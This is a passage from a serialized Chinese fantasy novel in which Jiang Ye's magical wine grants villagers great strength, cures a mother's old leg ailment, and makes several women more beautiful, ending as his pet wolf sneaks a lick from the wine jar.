王囤更是急得满头大汗,他嘴笨,不知道该怎么反驳,只能涨红着脸,连连摆手:“不是的,王师傅,这酒……这酒是真的……”
“是真的?那你证明给我们看看啊!别是江夜给了你们什么好处,让你们合起伙来蒙骗乡亲们!”
王囤闻言,脸憋得更红了。证明?这怎么证明?
他环视一圈,目光猛地锁定了院子角落里,那个用来磨豆腐的巨大石磨。
那石磨由青石打造,厚重敦实,少说也有三四百斤重,平日里得要三四个壮劳力合力才能勉强挪动。
在所有人惊疑不定的目光中,王囤什么话也没说,迈开大步,径直走到了石磨跟前。
他绕着石磨走了半圈,像是在寻找一个合适的发力点。
院门外,所有人都屏住了呼吸,连王守缸的叫嚣都停了下来,所有目光都聚焦在这个憨厚的汉子身上。
王囤站定,双腿分开,稳稳扎下一个马步。
他弯下腰,粗糙的双手死死抓住了石磨冰冷的边缘。
“喝!”
一声仿佛从胸腔最深处迸发出的怒喝,王囤手臂上的肌肉瞬间坟起,那沉重无比的石磨,在他的力量下,发出了一声不堪重负的呻吟,被他从地面上缓缓抬起!
所有人的眼珠子,都随着那不断升高的石磨,越瞪越大。
时间在这一刻仿佛变慢了。
村民们能清晰地看到,那沉重的石磨,在他的掌控下,一寸一寸,稳定地向上升起。
直至,被他高高地举过了头顶!
这一刻,整个世界都安静了。
风停了,鸟不叫了,连空气都仿佛凝固了。
院门外,黑压压的人群,无论是伸长脖子的,还是踮着脚
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的,所有人都如同被施了定身术,僵在原地,一动不动。
一张张嘴巴无意识地张开,大得能塞进一个鸡蛋。
王翠花那双三角眼里,写满了活见鬼般的惊骇。
而站在最前方的王守缸,脸上的血色“唰”的一下褪得干干净净,整个人像是被抽走了骨头,身体晃了晃,差点一屁股瘫坐在地。
不可能……
这绝对不可能!
王囤是什么样的身子骨,大家伙都再清楚不过,一个普普通通的庄稼汉,力气是比常**些,但要说举起这三四百斤的石磨,简直是天方夜谭!
“轰!”
就在这时,王囤力竭,双臂一松,将石磨狠狠地砸回了地面。
一声震天巨响,整个地面都仿佛颤了三颤,激起一片尘土。
这声巨响,也如同惊雷,瞬间炸醒了石化的众人。
下一秒,山呼海啸般的惊呼和议论声,轰然炸开!
“天呐!举起来了!他真的举起来了!”
“我的老天爷,那可是石磨啊!王囤他……他成大力士了?”
“那酒……那酒是真的!喝了真能涨力气!”
王囤站在原地,大口大口地喘着粗气,他低头看着自己的双手,脸上满是如在梦中的狂喜与不敢置信。
他做到了!他真的把石磨举起来了!
就在众人还沉浸在王囤带来的震撼中时,一旁的江峰也动了。
他默默走到院墙边,那里放着两个用来锻炼的石锁,每个都有一百多斤重。
只见江峰弯下腰,伸出一只手,轻轻松松地就将其中一个石锁提了起来,那模样,不比提一篮子鸡蛋费力多少。
如果说,王囤举起石磨是石破天惊,那江峰这云淡风轻的单手一提,更是给这烈火烹油的场面,又浇上了一瓢滚油!
“疯了!疯了!这世界疯了!”
“神酒!这绝对是神酒啊!”
村民们彻底疯了!
之前还残存的最后一丝理智,在这一刻被贪婪的火焰烧得一干二净。
不知是谁带的头,黑压压的人群如同决堤的洪水,猛地一下全涌到了院门口,将那本就不大的门堵得水泄不通。
“江夜!江夜兄弟!给我尝一杯!不,一口!一口就行!”
“江夜大侄子!我是你三大爷啊!你看我这老寒腿,疼了好几年了,你就发发善心,赏我一口吧!”
“江夜!给我喝一口!我……我给你当牛做马!”
一张张脸因为激动和狂热而扭曲,一双双眼睛里闪烁着赤裸裸的贪婪。
之前还对江夜冷嘲热讽的王翠花,此刻正仗着自己体胖,拼了命地往前挤,一边挤一边扯着嗓子尖叫:“江夜!看在咱们一个村的份上,给我家大壮也来一碗!”
被她挤在身后的王大壮,脸上满是悔恨,肠子都快悔青了。
要是刚才自己脸皮再厚一点,第一个冲进去,那现在力能扛鼎的人,就是他王大壮了!
第95章 十两一杯
王守缸看着眼前这彻底颠覆他毕生认知的一幕,那张老脸上的不屑和倨傲,寸寸龟裂,再也拼凑不起来。
他浑浊的眼珠子死死盯着院中那口还在冒着金色雾气的酒瓮,又看看仿佛脱胎换骨的江峰和王囤,嘴唇无意识哆嗦着。
他毕生引以为傲的酿酒手艺,他那点可怜的的优越感,在这一刻,被那个年轻人用一种最直接、最粗暴的方式,碾得粉碎。
那股霸道的酒香,仿佛一只无形的大手,扼住了他的喉咙,更掐灭了他心中最后一丝骄傲的火苗。
整个人,像是瞬间被抽走了精气神,一下子苍老了十岁。
而江夜家院门口,彻底炸了锅。
洪水般的人潮疯狂地向着那扇小小的院门拥挤,一张张脸因为狂热和贪婪而扭曲变形,一声声谄媚又急切的呼喊几乎要掀翻屋顶。
然而,就在这片喧嚣的顶峰,江夜只是淡淡地抬了抬手。
一个再简单不过的动作。
整个嘈杂的院子门口,却仿佛被按下了暂停键,瞬间落针可闻。
所有人都屏住了呼吸,一双双血红的眼睛死死地盯着他,等待着他的宣判。
江夜目光平静地扫过门外那一张张扭曲的脸,薄唇轻启,声音不大,却清晰地传入每一个人耳中。
“十两银子,一小杯。”
“……”
死寂。
比刚才更加彻底的死寂。
如果说刚才的安静是期待,那现在的安静,就是彻骨的冰寒。
人群中,不知是谁倒吸了一口凉气,那声音在寂静中显得格外刺耳。
“十……十两?”
“一小杯?他是不是疯了?!”
“我的老天爷,十两银子,够一家几口人两三年的嚼用了!”
刚刚还狂热到失去理智的村民们,像是被一盆冰水从头浇到脚,脸上的贪婪瞬间褪去,化为了无尽的惊骇和荒谬。
他们下意识地向后退去,仿佛那院子里不是神酒,而是什么会**的怪物。
十两银子。
这个数字,像一座无法逾越的大山,沉甸甸地压在他们心头,将他们所有的幻想和贪念,砸得粉身碎骨。
酒是神酒,能脱胎换骨。
但,他们喝不起。
这个残酷的现实,让许多人脸上刚刚褪去的狂热,又化为了更深沉的遗憾和肉痛,那感觉,比拿刀子在他们心口上剜肉还难受。
王翠花张着嘴,那句“给我家大壮来一碗”还卡在喉咙里,怎么也喊不出来了。
她那双三角眼瞪得溜圆,看着江夜,像在看一个疯子。
江夜却懒得再看他们一眼。
他无视了门口那些或震惊、或遗憾、或怨毒的目光,转身走回屋里。
片刻后,他拿着两个巴掌大小的黄皮酒葫芦走了出来。
当着所有人的面,他拿起木勺,舀起那金色的酒液,缓缓地注入葫芦之中。
“咕嘟……咕嘟……”
金色的酒液在阳光下流淌,如同融化的黄金,那股霸道绝伦的酒香,随着他的动作,再一次毫无保留地在空气中弥漫开来。
院门口,吞咽口水的声音此起彼伏。
这哪里是在装酒?
这分明是在用最诱人的姿态,一遍又一遍地折磨着他们那脆弱的神经!
很快,两个酒葫芦都被装满了。
江夜盖上塞子,随手将其中一个,递给了还沉浸在力量暴增的震撼中的江峰。
然后,又将另一个,递给了王囤。
两人都是一愣
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。
江峰看着递到面前的酒葫芦,又看了看院外那些几乎要喷出火来的眼神,脑袋摇得像拨浪鼓。
“小夜,这……这太贵重了!”
王囤更是激动得手足无措,连连摆手,黝黑的脸涨得通红。
“是啊江夜兄弟!这……这一葫芦,得值多少银子啊!我……我受不起!真的受不起!”
他们都是老实人,心里有杆秤。
十两银子一小杯,这一葫芦少说也能装个七八杯,那就是七八十两银子!对他们来说,这是想都不敢想的一笔巨款。
江夜看着他们,脸上没什么表情,只是将手又往前递了递。
“拿着。”
不容置疑的两个字。
江峰和王囤看着江夜那平静却坚定的眼神,拒绝的话再也说不出口。
在全村人羡慕、嫉妒、甚至恨不得冲上来抢夺的目光中,王囤颤抖着双手,接过了那个还带着江夜体温的酒葫芦。
葫芦不大,可他却觉得有千斤重。
他紧紧地攥着酒葫芦,眼眶“刷”的一下就红了。
这个男人,从认识江夜开始,就一次次地被震惊,一次次地被给予恩惠。
从最开始的救命之恩,到后来的狩猎分肉,再到如今这价值连城的“神酒”……
所有的感激、激动、震撼,在这一刻,尽数化为一个最质朴的动作。
他对着江夜,没有说话,只是深深地、重重地弯下了腰,行了一个大礼。
院门外,看着那两壶流淌着金光的神酒就这么被送了出去,所有村民的眼睛都红了。
羡慕、嫉妒、悔恨……种种情绪交织在一起,啃噬着他们的内心。
尤其是那些曾经嘲讽过江夜的人,此刻肠子都悔青了。
第96章 脱胎换骨
江峰家,王慧慧刚把一小碟咸菜端上桌,准备喊女儿吃饭,破旧的木门就“哐”的一声被撞开了。
江峰一阵风似的冲了进来,那张憨厚的脸上,是一种王慧慧从未见过的激动神情,整张脸涨得通红。
“你这是……抢钱去了?”王慧慧被他吓了一跳,手里还端着碗,下意识地问道。
江峰却不答话,反手将门关严,像是怕什么宝贝被人看见一样。
他几步冲到桌前,献宝似的从怀里掏出一个黄皮酒葫芦,小心翼翼地放在桌上。
“慧慧,你快看!”
王慧慧皱了皱眉,一个破葫芦有什么好看的?她刚想数落丈夫两句,江峰已经急不可耐地拔开了葫芦塞。
“啵”的一声轻响。
下一秒,一股根本无法用言语形容的霸道酒香,混合着奇异的药香,瞬间冲散了屋子里原本的饭菜味,蛮横地占据了每一个角落。
“哇!爹爹,好香呀!”正在桌边等着吃饭的琼琼,使劲吸了吸小鼻子,一双乌溜溜的大眼睛瞬间亮了起来,口水都快流出来了。
王慧慧也愣住了。
她只是闻了一下,就感觉浑身的疲惫都仿佛被冲淡了几分,精神为之一振。
“这……这是什么酒?”她看着那个平平无奇的酒葫芦,满眼都是惊疑。
“神酒!是小夜亲手酿的神酒!”江峰一屁股坐下,也顾不上吃饭,抓起筷子就口沫横飞地讲述起来。
他从江夜开坛时的金色雾气说起,说到那琥珀色的酒液,再到王囤喝了一杯后,竟能单人举起三四百斤的石磨……
他讲得眉飞色舞,语气里充满了对弟弟江夜狂热到极点的崇拜,仿佛在讲述一个神话故事。
王慧慧听得目瞪口呆,嘴巴越张越大,手里的碗什么时候放下的都不知道。
让旧伤痊愈?力气暴增?举起石磨?
这……这怎么可能?
她看着丈夫那张因为过度兴奋而扭曲的脸,第一反应就是他在吹牛。
可鼻尖那股浓郁到化不开的异香,又在清清楚楚地告诉她,这葫芦里的东西,绝对不是凡品。
“你……你说的都是真的?”王慧慧的声音有些发干。
“比金子还真!”江峰见她不信,急了,拿起桌上的一个粗瓷碗,小心翼翼地倒了小半杯出来。
琥珀色的酒液在昏黄的油灯下,流淌着一层淡淡的金色光华,仿佛不是人间的酒水,而是天上的琼浆玉液。
“你快尝尝!尝了你就知道了!”江峰将酒碗推到她面前,语气里满是催促和不容置疑。
王慧慧看着碗里那流光溢彩的酒,又看了看丈夫那充满期待的眼神。
最终,她还是端起了碗,半信半疑地凑到唇边,轻轻地抿了一小口。
酒液刚一入口,她就瞪大了眼睛。
没有想象中的辛辣,而是一种醇厚温润的口感,随即,一股火热的暖流顺着喉咙滑下,仿佛一条火龙,瞬间在她腹中轰然炸开!
“唔……”
王慧慧没忍住,发出一声舒服得近乎呻吟的轻哼,整个人就像泡进了冬日最暖和的热水里,每一个毛孔都舒张开来。
那股霸道的暖流,化作无数细小的热线,疯狂地涌向她的四肢百骸。
当一股暖流冲到她常年酸痛的后腰时,一阵钻心的酥麻感传来,让她身体一颤。
那是她生完琼琼后落下的病根,加上常年操持家务,弯腰洗衣,早已劳损不堪,每到阴雨天就疼得直不起腰。
可那阵酥麻过后,取而代之的,是一种前所未有的轻松与温热。
那纠缠了她数年,如同附骨之疽的酸痛感,竟然……消失了?
王慧慧脸上的表情,从享受,到惊愕,最后化为了彻彻底底的骇然。
她猛地站起身,在江峰和琼琼不解的目光中,试探性地弯了弯腰,又扭了扭肩膀。
没有疼痛!
一点都没有!
那种仿佛卸下了千斤重担的轻松感,让她整个人都陷入了巨大的恍惚之中。
“娘亲,你怎么了?”琼琼看着举止怪异的母亲,歪着小脑袋,奶声奶气地问。
王慧慧却没有回答,直直的愣在原地。
江峰本来还咧着嘴,得意于神酒的功效,可当他的目光落在王慧慧脸上时,整个人却像猛地僵在原地。
他伸出一根手指,颤颤巍巍地指着王慧慧的脸,喉结上下滚动,却一个字都发不出来。
“你……你……”
“我怎么了?”王慧慧被他这副见了鬼的表情弄得心里发毛,下意识地摸了摸自己的脸颊,“我脸上有脏东西?”
“不是……不是脏东西……”江峰猛地摇了摇头,使劲揉了揉自己的眼睛,再定睛看去,那惊人的变化依旧存在。
他激动得语无伦次,一把抓住妻子的肩膀,颠三倒四地喊道:“是……是变了!你的脸变了!”
王慧慧听了江峰的话,猛的冲到墙角,那里放着一个用来洗脸的木盆,盆里还有半盆浑浊的水。
下一秒她的眼睛猛地瞪大了,死死地盯着水中那个模糊的倒影。
倒影里的女人,面色红润,眼角的倦意和几道细微的干纹,竟像是被一只无形的手抚平了,整个人都散发着一种她自己都感到陌生的光彩。
这……这是我?
自己有多久没见过这样气色红润的自己了?
自从嫁人后,日复一日的操劳,早已将她磋磨成了一个面色蜡黄的普通农妇。可现在……
王慧慧伸出手,颤抖地抚摸着自己的脸颊,那触感,似乎都比往日细腻了几分。
她终于相信了。
丈夫说的,全都是真的。
小叔子江夜,他酿出的,真的是神酒!
“哇……”
王慧慧再也控制不住,她用手死死捂住嘴,滚烫的泪水却如同决堤的洪水,汹涌而出,顺着指缝滑落。
这不是委屈的泪,也不是伤心的泪。
而是一种混杂了狂喜、感激的泪水。
她想起了以前,自己因为丈夫总是接济小叔子而跟他吵架,嘴里说着各种难听的话,心里总觉得那个小叔子是个填不满的无底洞。
可现在……
人家随手送出的一葫芦酒,就让她脱胎换骨,治好了她以为要跟一辈子的旧疾,甚至让她找回了丢失多年的青春容颜。
这份恩情,何其之重!
“慧慧,你……你别哭啊!”江峰被她这反应吓了一跳,手足无措地站起来,想安慰又不知从何说起。
“娘亲不哭,琼琼给你呼
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呼……”琼琼也跑了过来,踮起脚尖,用小手笨拙地给她擦着眼泪。
可擦着擦着,琼琼的动作却停了下来。
她仰着小脸,一双乌溜溜的大眼睛一眨不眨地看着自己的娘亲,小嘴慢慢张成了“O”形。
王慧慧被女儿这副模样逗得一愣,抽泣声都停了。
“琼琼,怎么了?”
小丫头没说话,绕着王慧慧走了半圈,小脑袋歪着,上上下下地打量,那认真的模样,像是在看什么稀世珍宝。
“哇!”
琼琼忽然发出一声巨大的惊叹,她猛地扑过去,一把抱住王慧慧的大腿,奶声奶气地大声喊道:“娘亲变漂亮了!像……像年画里的仙女姐姐!”
童言无忌,却是最真实不虚的赞美。
这句话,像一道暖流,瞬间冲垮了王慧慧心里最后一点不真实感。
她破涕为笑,蹲下身子,一把将宝贝女儿搂进怀里,在她粉嫩的脸蛋上狠狠亲了一口。
琼琼被亲得咯咯直笑,她的小手指却指向了桌上那个还剩下一小半的粗瓷碗。
“娘亲,琼琼也要喝那个,琼琼也要变漂亮!”
小丫头声音清脆,眼神里充满了小孩子最纯粹的渴望。
“你个小人精!”
王慧慧被女儿逗得彻底笑开了花,心中那点因为往事而产生的愧疚和郁结,在女儿天真的笑语中烟消云散。
她拿起桌上的筷子,伸进碗里,小心翼翼地在筷子尖上沾了那么一滴。
“来,张嘴,就一小口哦。”王慧慧将筷子尖凑到女儿嘴边,柔声哄着。
琼琼听话地张开小嘴,像只嗷嗷待哺的小雏鸟,小舌头一卷,就把那滴金色的酒液给舔了进去。
酒液刚一入口,琼琼那张粉雕玉琢的小脸蛋,瞬间就皱成了一个小包子,五官都挤在了一起,小嘴巴咂吧了两下,似乎在回味那股奇异的味道。
江峰和王慧慧看着她这副可爱的模样,都忍不住笑了起来。
可下一秒,小丫头脸颊上就飞快地浮上两朵可爱的红云。
“嘻嘻……咯咯咯……”
琼琼突然傻笑起来,一双明亮的大眼睛变得水汪汪的,像是蒙上了一层雾气,看什么都带着几分新奇。
她从王慧慧的怀里挣脱出来,想要站稳,身体却不受控制地摇摇晃晃,像只刚学会走路的小鸭子,东倒一步,西歪一下,那憨态可掬的模样,可爱到了极点。
“哎哟,我的小乖乖,这是醉了呀!”
王慧慧笑得眼泪都出来了,连忙伸手将她捞进怀里。
琼琼在她怀里也不安分,小脑袋蹭来蹭去,嘴里含糊不清地嘟囔着:“好暖和……飞起来了……”
江峰看着眼前这一幕,听着妻子和女儿久违的、发自内心的笑声,这个不善言辞的汉子,也咧开嘴,露出一口白牙,笑得无比开怀。
笑声渐渐停歇。
他看着脸上容光焕发的妻子,看着在妻子怀里脸蛋红扑扑的可爱女儿,又低下头,目光落在了自己那只紧紧攥着黄皮酒葫芦的大手上。
江峰的眼眶,不知不觉间,又一次红了。
他什么都没说,只是将那个酒葫芦,更紧地攥在了手里。
心中对弟弟的感激,在这一刻,达到了顶点。
第97章 神药!
与此同时,王囤家。
低矮的土坯房里,光线昏暗,一张瘸腿的木桌上摆着两碗饭,一小盆炖得烂熟的狼肉,还有一碟黑乎乎的咸菜。
虽然简陋,但那盆肉散发出的浓郁香气,却是这个贫寒之家从未有过的奢侈。
“娘,多吃点肉,这是江大哥分给咱家的,可香了。”
十岁的王小草很懂事,用自己那双洗得发白的筷子,夹起一块最大的肉,小心地放进母亲林秀芬的碗里。
林秀芬看着女儿瘦弱的脸颊,心中一酸,又把肉夹了回去。
“娘不饿,小草吃,你正在长身子。”
她自己则夹了一筷子咸菜,就着糙米饭,慢慢地嚼着。
常年的劳累和病痛,早已让她没什么胃口,这几天能跟着儿子沾光吃上肉,已经是天大的福分了。
就在这时。
“哐当!”
那扇破旧得仿佛随时会散架的木门,被人从外面猛地撞开。
一道身影旋风般冲了进来。
林秀芬和王小草吓了一大跳,齐刷刷地朝门口看去。
看清来人是王囤,林秀芬刚要开口责备,却被儿子脸上的神情惊得把话咽了回去。
只见王囤那张黝黑的脸上,因为极度的激动而涨得一片赤红,胸膛剧烈起伏着,呼哧呼哧地喘着粗气,一双眼睛亮得吓人。
“囤儿,你……你这是怎么了?”林秀芬颤声问道,心里咯噔一下,还以为儿子在外面闯了什么祸。
王囤却不答话,反手将门死死插上,然后几步冲到桌前,在母亲和妹妹惊骇的目光中,“噗通”一声,直挺挺地跪在了林秀芬面前。
“儿啊!你这是做什么!快起来!”
林秀芬吓了一跳,手忙脚乱地就要去扶。王小草也吓哭了,跑过来拉着哥哥的胳膊,“哥,你别吓我们,你快起来啊!”
可王囤跪在地上,身子挺得笔直,任凭母亲和妹妹怎么拉,都纹丝不动。
他颤抖着双手,像是捧着什么绝世珍宝,从怀里掏出那个黄皮酒葫芦,高高举过头顶。
“娘!”
王囤的声音沙哑得厉害,每一个字都像是从胸膛里挤出来的。
“这是……这是江夜兄弟赐的神药!”
神药?
林秀芬和王小草都愣住了。
王囤也顾不上解释,他拔开葫芦塞,那股霸道绝伦的酒香混合着药香,瞬间充满了整个屋子,将饭菜的香气都压了下去。
他找来一个缺了口的粗瓷碗,小心翼翼地倒了浅浅的一小杯。
琥珀色的酒液在昏暗的屋里,竟也流淌着一层淡淡的金光,宛如神物。
“娘,您快喝了它!”王囤将酒碗举到母亲面前,眼神里是毋庸置疑的坚定和催促,“喝了它,您的腿就好了!什么病都没了!”
林秀芬彻底懵了。
她看着碗里那不似凡品的酒液,又看看儿子那近乎疯魔的样子,心里充满了疑惑和不安。
什么神药……
一碗酒就能治好她这几十年的老寒腿?
这怎么可能?怕不是儿子被人骗了?
可当她对上儿子那双灼热、充满期盼的眼睛时,所有的疑虑都动摇了。
这是她一手拉扯大的儿子,她知道,他绝不会害自己。
“好……娘喝。”
林秀芬不再犹豫,她深吸一口气,接过那只粗瓷碗。
在王囤和王小草紧张的注视下,她闭上眼,将那小半杯酒,一口闷了下去。
酒液入喉,没有想象中的辛辣。
一股醇厚温润的暖流,顺着喉管滑入腹中,随即,如同一颗投入平静湖面的炸雷,轰然炸开!
“唔!”
林秀芬浑身一颤,一股磅礴无匹的暖流,如决堤的江河,疯狂地冲刷着她衰老的身躯。她感觉自己像是被扔进了滚烫的温泉里,浑身上下每一个毛孔都舒张开来,发出惬意的呻吟。
那股暖流分化成无数细小的热线,在她体内横冲直撞。
当其中一股最灼热的暖流,冲向她那条饱受风湿折磨、每逢阴雨天就疼得锥心刺骨的右腿时,一股前所未有的酥麻传来!
不是以往那种阴冷的刺痛,而是一种滚烫的、仿佛要将骨头都融化的酥麻与灼热!
林秀芬忍不住惊呼出声。
“娘!”
“娘你怎么了?”
王囤和王小草扑上来就要扶她。
可那股酥麻来得快,去得也快。
仅仅几个呼吸之后,那股让人抓心挠肺的酥麻之感,便如潮水般退去。取而代之的,是一种从未有过的温热与舒泰。
那条纠缠了她数十年,让她在无数个深夜里辗转反侧的右腿,此刻,仿佛有一轮小太阳在里面照耀着,暖洋洋的,无比舒坦。
那股深入骨髓的阴冷和疼痛,竟然……烟消云散了?
林秀芬僵在原地,整个人都呆住了。
她试探着,轻轻动了动那条右腿。
没
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有痛感。
她又加大了幅度。
还是没有痛感!
在王囤和王小草不解的目光中,林秀芬猛地从地上站了起来!
她来回走了几步,从一开始的小心翼翼,到后来的大步流星。那脚步,矫健得连她自己都不敢相信!
困扰了她大半辈子的顽疾,那个让她觉得自己是个废人、是个累赘的病根,就这么……好了?
“娘……你的腿……”王小草看着在屋里走来走去的母亲,小嘴张得大大的,震惊地捂住了自己的嘴巴,一双大眼睛里写满了难以置信。
林秀芬停下脚步,低头看着自己那条仿佛不属于自己的腿,又抬头看了看满脸激动的儿子。
她终于明白了。
儿子没有骗她。
江夜给的,真的是神药!
一股巨大的狂喜,如同山洪海啸,瞬间冲垮了她所有的理智。
“呜……哇……”
这个坚强了大半辈子的女人,再也控制不住,她用粗糙的手死死捂住自己的脸,蹲在地上,发出了压抑不住的嚎啕大哭。
滚烫的泪水,从她的指缝间汹涌而出。
这不是伤心,不是委屈,而是卸下半生重担后的释放,是绝处逢生后的狂喜!
王囤看着这一幕,也跟着红了眼眶,泪水在眼眶里打转。他一把拉住还在发愣的妹妹,然后重重地跪在母亲身边。
“娘,别哭了,这是大喜事!”
林秀芬哭了好一阵,才慢慢停歇下来。她抹了一把脸上的泪水,拉起王囤和王小草,什么话都没说,转身,朝着江夜家的方向。
她整理了一下自己破旧的衣衫,神情肃穆,然后,直挺挺地跪了下去。
“娘!”
“娘你干什么!”
王囤和王小草大惊,忙要扶着林秀芬起来。
林秀芬却按住了他们。
“江夜兄弟不是给了我们一葫芦酒,他是给了我们一家人一条活路!是给了我这条老命!这是再生父母的恩情!”
王囤和王小草也明白了母亲的意思,跟着母亲一起跪得笔直。
三人朝着江夜家的方向,结结实实地,磕了三个响头。
咚!
咚!
咚!
每一声,都沉重无比。
磕完头,一家已是泪流满面,泣不成声。
这份恩情,比天还高,比海还深!
唯有这最虔诚的叩拜,才能表达他们心中那无以言表的感激于万一!
第98章 仙女下凡
夜色如水,静谧的庭院里,只有篝火噼啪作响,跳跃的火光将四人的影子拉得长长的。
江夜、白梦夏、白梦秋、林间雪围坐在石桌旁,空气中弥漫着一种温馨又带着几分说不清道不明的暧昧气息。
江夜拎起酒坛,坛口微倾,为三女面前的白玉酒杯一一斟满。
琥珀色的酒液,在皎洁的月光与摇曳的火光下,流淌着一层淡淡的金色光晕,宛如融化的黄金。那股霸道绝伦的酒香混合着奇异的药香,只是闻着,就仿佛能让人的魂魄都跟着沉醉。
三女好奇地盯着杯中那不似凡物的液体,眼中充满了期待。她们亲眼见过江峰和王囤喝下此酒后的惊人变化,心中早已掀起了惊涛骇浪。
江夜将三女的神情尽收眼底,他举起自己的酒杯,嘴角噙着一抹淡笑,示意她们不必拘谨。
白梦夏最是温婉大方,她率先端起酒杯,如玉的手指衬着流光的酒液,构成一幅绝美的画卷。她看了江夜一眼,眸中是全然的信任与柔情,随即红唇轻启,优雅地抿了一小口。
酒液刚一滑入喉咙,她那双秋水般的眸子便瞬间瞪圆了。
没有想象中的辛辣,而是一种醇厚到极致的温润,随即,一股暖流轰然炸开,却并不爆裂,反而像最温柔的春水,瞬间流淌至四肢百骸。
“唔……”
她没忍住,发出一声极轻的嘤咛,那张本就绝美的俏脸,迅速浮上一抹惊心动魄的酡红。整个人仿佛浸泡在最舒适的温泉之中,连带着腹中孕育的小生命,似乎都在欢快地伸着懒腰,通体舒泰。
白梦秋见姐姐这般模样,早就按捺不住了。她学着姐姐的样子,也迫不及待地喝了一口。
“呀!”
她发出一声小小的惊呼,随即化为一声满足的轻哼,舒服得眯起了漂亮的眼睛,长长的睫毛像蝴蝶的翅膀一样颤动着。那感觉,比冬日里抱着最暖和的手炉还要舒服一百倍。
江夜含笑看着她们,最后将鼓励的目光投向了坐立不安的林间雪。
“这酒能固本培元,对身体有好处。”他的声音不大,却带着让人安心的力量。
林间雪感受到他目光中的暖意,心中那点自卑和惶恐被驱散了不少。她咬了咬下唇,颤抖着双手,端起了那只对她而言重逾千斤的玉杯。
她闭上眼,仰起雪白的脖颈,将杯中酒一饮而尽。
下一秒,磅礴的药力在她体内轰然炸开!
这股力量,远比白梦夏姐妹感受到的温润要霸道得多!它就像一条苏醒的火龙,在她经脉中横冲直撞!
林间雪身体剧烈地一颤,那张妩媚的俏脸瞬间涨得通红,仿佛要滴出血来。丝丝缕缕肉眼可见的白气,从她头顶蒸腾而起。
她感觉自己的五脏六腑,乃至每一寸骨骼血肉,都在被一股无法抗拒的灼热力量疯狂地洗涤、淬炼。
那些常年操劳留下的沉珂,那些因营养不良和心气郁结产生的杂质,在这股霸道的力量面前,如同冰雪遇骄阳,飞速地消融、净化!
过程痛苦,却又带着一种破茧重生般的极致舒爽。
江夜看着她的反应,并不意外。
这神酒药力霸道,遇强则强,遇弱则补。
林间雪身体底子最弱,积郁最深,酒力便会主动为她伐**洗髓,清除病灶。
片刻之后,那股灼热的白气渐渐散去。
篝火旁,三女身上都发生了肉眼可见的惊人变化。
变化最明显的,是她们的肌肤。
原本就雪白细腻的皮肤,此刻变得仿佛是上好的羊脂白玉,在月光下笼罩着一层淡淡的光晕,晶莹剔透,吹弹可破。
尤其是林间雪,她脸上原本因劳碌而留下的一丝蜡黄和憔悴,此刻已消失得无影无踪,取而代之的是一种健康饱满的红润光泽,整个人像是年轻了好几岁。
其次是她们的眉眼。
白梦夏的温柔,白梦秋的娇俏,林间雪的妩媚,都仿佛被神来之笔重新勾勒过一遍,变得愈发精致,愈发灵动。
她们的眸子,像是被最清澈的山泉洗涤过,水润得仿佛能滴出水来,顾盼之间,眼波流转,媚意天成,美得惊心动魄,让人不敢直视。
甚至连她们的发丝,都变得更加乌黑亮泽,如同一匹上好的绸缎。
白梦夏抬起自己的手,看着那仿佛能透光的肌肤,彻底呆住了。
她又伸手,轻轻抚摸了一下自己因为怀孕而愈发丰润的脸颊,那滑腻的触感,连她自己都感到心惊。
“姐姐,你……你好美……”白梦秋看着对面的白梦夏,喃喃出声,随即她又看到了林间雪,小嘴张成了“O”形,“雪儿妹妹,你……你也……”
林间雪缓缓睁开眼,她感觉自己仿佛卸下了千斤重担,整个人都轻盈得像是要飘起来。
听到白梦秋的话,她下意识地摸了摸自己的脸。
那细腻柔滑的触感,让她浑身一震。
这……这是我的脸?
三女对视一眼,都从对方眼中看到了极致的震撼,以及那份无法掩饰的狂喜。她们就像是得到了最心爱玩具的小女孩,一会儿看看自己的手,一会儿又忍不住去摸摸对方的脸,眼中闪烁着新奇又兴奋的光芒。
她们看向江夜的目光,也彻底变了。
如果说之前是爱慕、是感激。
那么现在,这份情感中,又多了一层崇拜!
这个男人,总能一次又一次地,创造出颠覆她们认知的奇迹。
江夜看着眼前三个脱胎换骨,美得不似凡尘的女人,心中涌起一股巨大的满足感。
这都是他的女人。
被他那充满占有欲的灼热目光注视着,白梦夏俏脸一热,心中却甜如蜜。
她满眼柔情地凝视着江夜,仿佛要将他的样子刻进灵魂深处。她站起身,款步走到江夜面前,没有说话,只是主动踮起脚尖,将自己芬芳的红唇印了上去。
白梦秋更是直接,她娇笑一声,像只欢快的蝴蝶,直接扑进江夜怀里坐下,一双藕臂紧紧环住他的脖子,献上自己热烈而香甜的吻,那双漂亮的眸子里,全是闪闪发亮的小星星。
林间雪在一旁看着,羞得俏脸通红,几乎要滴出血来,心脏更是如同揣了一只小鹿,砰砰狂跳。
她看到白梦夏和白梦秋都投来鼓励的目光,咬了咬下唇,心中那份自卑和怯懦,终究还是被巨大的幸福感和归属感所战胜。
她鼓起此生最大的勇气,快步上前,在江夜的脸颊上飞快地亲了一口。
蜻蜓点水,一触即分。
做完这个大胆的举动,她立刻像受惊的兔子一样退开,低下头,双手紧张地绞着衣角,耳根都红透了。
江夜左手揽着白梦夏温软的腰肢,怀里坐着白梦秋火热的娇躯,鼻尖还能闻到林间雪身上传来的淡淡幽香。他只觉自己被无尽的温柔与香甜所包围,心中一片滚烫
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,忍不住在心里大吼一声:这日子,真**爽!
就在庭院中温情脉脉,气氛暧昧到极致时。
角落的阴影里,一个毛茸茸的银色小脑袋悄悄探了出来。
正是团子。
它那双吃了灵犀草后愈发灵动的眼睛,此刻正一眨不眨地,死死盯着石桌上那个散发着致命诱惑的巨大酒瓮。
那股霸道的香味,简直比最漂亮的野鸡毛还要吸引它!
它看到主人们正腻在一起,亲亲我我,根本没人注意到它这个角落里的小可怜,一双乌溜溜的眼珠里,瞬间闪过一丝属于野兽的狡黠。
机会来了!
它放轻了四只小爪子,脚下肉垫踩在地上,没有发出一丝一毫的声音,如同一道银色的影子,悄无声息地溜到了酒瓮旁边。
它将小鼻子凑到瓮口,猛地一闻。
“嗷……”
一股无法形容的醇厚香气,如同最温柔的爪子,挠着它的心肝,让它舒服得差点叫出声。
不行,闻一下怎么够?
它努力抬起前爪,扒住酒瓮的边缘,伸长了脖子往里看。那金色的液体,在火光下闪闪发光,比它收藏的所有漂亮石头加起来还要好看!
它再也忍不住了,粉嫩的舌头闪电般伸出,对着那金色的酒液,狠狠地舔了一大口!
酒液刚一入口,团子整个身体猛地一僵。
下一秒,它那一身柔顺的银色长毛,毫无征兆地泛起一层绚烂的七彩流光,额头上的金色印记更是亮如小太阳,整个狼看上去就像一个会发光的毛绒玩具。
